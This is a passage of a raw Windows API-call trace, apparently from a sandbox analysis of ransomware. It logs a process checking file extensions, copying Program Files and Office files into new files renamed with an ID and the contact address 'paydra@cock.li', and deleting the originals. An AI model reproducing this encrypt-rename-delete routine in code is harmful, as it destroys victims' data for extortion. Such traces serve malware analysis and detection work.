(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.415] lstrlenW (lpString=".doc") returned 4 [0057.415] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.415] lstrlenW (lpString=".docx") returned 5 [0057.415] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.415] lstrlenW (lpString=".pdf") returned 4 [0057.415] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.415] lstrlenW (lpString=".xls") returned 4 [0057.415] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.415] lstrlenW (lpString=".xlsx") returned 5 [0057.415] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.415] lstrlenW (lpString=".ppt") returned 4 [0057.415] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.415] lstrlenW (lpString=".zip") returned 4 [0057.415] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.415] lstrlenW (lpString=".rar") returned 4 [0057.415] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.415] lstrlenW (lpString=".bz2") returned 4 [0057.415] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.415] lstrlenW (lpString=".7z") returned 3 [0057.415] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.416] lstrlenW (lpString=".dbf") returned 4 [0057.416] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.416] lstrlenW (lpString=".1cd") returned 4 [0057.416] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.416] lstrlenW (lpString=".jpg") returned 4 [0057.416] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.416] lstrlenW (lpString=".doc") returned 4 [0057.416] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.416] lstrlenW (lpString=".docx") returned 5 [0057.416] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.416] lstrlenW (lpString=".pdf") returned 4 [0057.416] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.416] lstrlenW (lpString=".xls") returned 4 [0057.416] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.416] lstrlenW (lpString=".xlsx") returned 5 [0057.416] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.416] lstrlenW (lpString=".ppt") returned 4 [0057.416] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.416] lstrlenW (lpString=".zip") returned 4 [0057.416] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.416] lstrlenW (lpString=".rar") returned 4 [0057.416] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.416] lstrlenW (lpString=".bz2") returned 4 [0057.416] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.416] lstrlenW (lpString=".7z") returned 3 [0057.416] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.417] lstrlenW (lpString=".dbf") returned 4 [0057.417] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.417] lstrlenW (lpString=".1cd") returned 4 [0057.417] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0057.417] lstrlenW (lpString=".jpg") returned 4 [0057.417] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.417] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0057.417] lstrlenW (lpString="InkDiv.dll") returned 10 [0057.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.417] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=353280) returned 1 [0057.417] CloseHandle (hObject=0x234) returned 1 [0057.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0057.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0057.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0057.418] lstrlenW (lpString=".doc") returned 4 [0057.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.418] lstrlenW (lpString=".docx") returned 5 [0057.418] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0057.418] lstrlenW (lpString=".pdf") returned 4 [0057.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.418] lstrlenW (lpString=".xls") returned 4 [0057.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.418] lstrlenW (lpString=".xlsx") returned 5 [0057.418] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0057.418] lstrlenW (lpString=".ppt") returned 4 [0057.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0057.418] lstrlenW (lpString=".zip") returned 4 [0057.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.418] lstrlenW (lpString=".rar") returned 4 [0057.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.418] lstrlenW (lpString=".bz2") returned 4 [0057.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.418] lstrlenW (lpString=".7z") returned 3 [0057.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0057.418] lstrlenW (lpString=".dbf") returned 4 [0057.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[paydra@cock.li].html")) returned 0 [0057.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[paydra@cock.li].html")) returned 0 [0057.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[paydra@cock.li].html")) returned 0 [0058.516] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.516] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0058.516] GetLastError () returned 0x0 [0058.516] ReadFile (in: hFile=0x23c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xd980, lpOverlapped=0x0) returned 1 [0058.519] WriteFile (in: hFile=0x224, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xd990, lpOverlapped=0x0) returned 1 [0058.520] ReadFile (in: hFile=0x23c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.520] WriteFile (in: hFile=0x224, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0058.520] SetEndOfFile (hFile=0x224) returned 1 [0058.520] CloseHandle (hObject=0x224) returned 1 [0058.521] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.521] SetEndOfFile (hFile=0x23c) returned 1 [0058.522] CloseHandle (hObject=0x23c) returned 1 [0058.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.522] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0058.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.522] lstrlenW (lpString=".doc") returned 4 [0058.522] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0058.522] lstrlenW (lpString=".docx") returned 5 [0058.522] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0058.522] lstrlenW (lpString=".pdf") returned 4 [0058.522] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0058.522] lstrlenW (lpString=".xls") returned 4 [0058.522] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0058.522] lstrlenW (lpString=".xlsx") returned 5 [0058.523] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0058.523] lstrlenW (lpString=".ppt") returned 4 [0058.523] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.523] lstrlenW (lpString=".zip") returned 4 [0058.523] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString=".rar") returned 4 [0058.523] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString=".bz2") returned 4 [0058.523] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString=".7z") returned 3 [0058.523] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.523] lstrlenW (lpString=".dbf") returned 4 [0058.523] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.523] lstrlenW (lpString=".1cd") returned 4 [0058.523] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.523] lstrlenW (lpString=".jpg") returned 4 [0058.523] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.523] lstrlenW (lpString=".doc") returned 4 [0058.523] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString=".docx") returned 5 [0058.523] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0058.523] lstrlenW (lpString=".pdf") returned 4 [0058.523] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString=".xls") returned 4 [0058.523] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0058.523] lstrlenW (lpString=".xlsx") returned 5 [0058.523] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0058.523] lstrlenW (lpString=".ppt") returned 4 [0058.523] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0058.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.524] lstrlenW (lpString=".zip") returned 4 [0058.524] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0058.524] lstrlenW (lpString=".rar") returned 4 [0058.524] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0058.524] lstrlenW (lpString=".bz2") returned 4 [0058.524] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0058.524] lstrlenW (lpString=".7z") returned 3 [0058.524] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.524] lstrlenW (lpString=".dbf") returned 4 [0058.524] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0058.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.524] lstrlenW (lpString=".1cd") returned 4 [0058.524] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0058.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.524] lstrlenW (lpString=".jpg") returned 4 [0058.524] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0058.524] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".html") returned 1 [0058.524] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0058.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0058.525] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1388416) returned 1 [0058.525] CloseHandle (hObject=0x23c) returned 1 [0058.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0058.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0058.525] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.525] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0058.526] GetLastError () returned 0x0 [0058.526] ReadFile (in: hFile=0x23c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0058.549] WriteFile (in: hFile=0x224, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0058.710] ReadFile (in: hFile=0x23c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x52f90, lpOverlapped=0x0) returned 1 [0058.722] WriteFile (in: hFile=0x224, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x52fa0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x52fa0, lpOverlapped=0x0) returned 1 [0058.731] ReadFile (in: hFile=0x23c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.731] WriteFile (in: hFile=0x224, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0058.731] SetEndOfFile (hFile=0x224) returned 1 [0058.965] CloseHandle (hObject=0x224) returned 1 [0058.965] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.965] SetEndOfFile (hFile=0x23c) returned 1 [0058.968] CloseHandle (hObject=0x23c) returned 1 [0058.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.968] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 1 [0059.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.603] lstrlenW (lpString=".doc") returned 4 [0059.603] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0059.603] lstrlenW (lpString=".docx") returned 5 [0059.603] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0059.603] lstrlenW (lpString=".pdf") returned 4 [0059.636] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0059.636] lstrlenW (lpString=".xls") returned 4 [0059.636] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0059.636] lstrlenW (lpString=".xlsx") returned 5 [0059.636] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0059.636] lstrlenW (lpString=".ppt") returned 4 [0059.636] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.636] lstrlenW (lpString=".zip") returned 4 [0059.636] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString=".rar") returned 4 [0059.637] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString=".bz2") returned 4 [0059.637] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString=".7z") returned 3 [0059.637] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.637] lstrlenW (lpString=".dbf") returned 4 [0059.637] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.637] lstrlenW (lpString=".1cd") returned 4 [0059.637] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.637] lstrlenW (lpString=".jpg") returned 4 [0059.637] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.637] lstrlenW (lpString=".doc") returned 4 [0059.637] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString=".docx") returned 5 [0059.637] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0059.637] lstrlenW (lpString=".pdf") returned 4 [0059.637] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString=".xls") returned 4 [0059.637] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString=".xlsx") returned 5 [0059.637] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0059.637] lstrlenW (lpString=".ppt") returned 4 [0059.637] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0059.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.637] lstrlenW (lpString=".zip") returned 4 [0059.638] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0059.638] lstrlenW (lpString=".rar") returned 4 [0059.638] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0059.638] lstrlenW (lpString=".bz2") returned 4 [0059.638] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0059.638] lstrlenW (lpString=".7z") returned 3 [0059.638] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.638] lstrlenW (lpString=".dbf") returned 4 [0059.638] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0059.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.638] lstrlenW (lpString=".1cd") returned 4 [0059.638] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0059.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.638] lstrlenW (lpString=".jpg") returned 4 [0059.638] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0059.641] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0059.641] lstrlenW (lpString="ACEES.DLL") returned 9 [0059.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 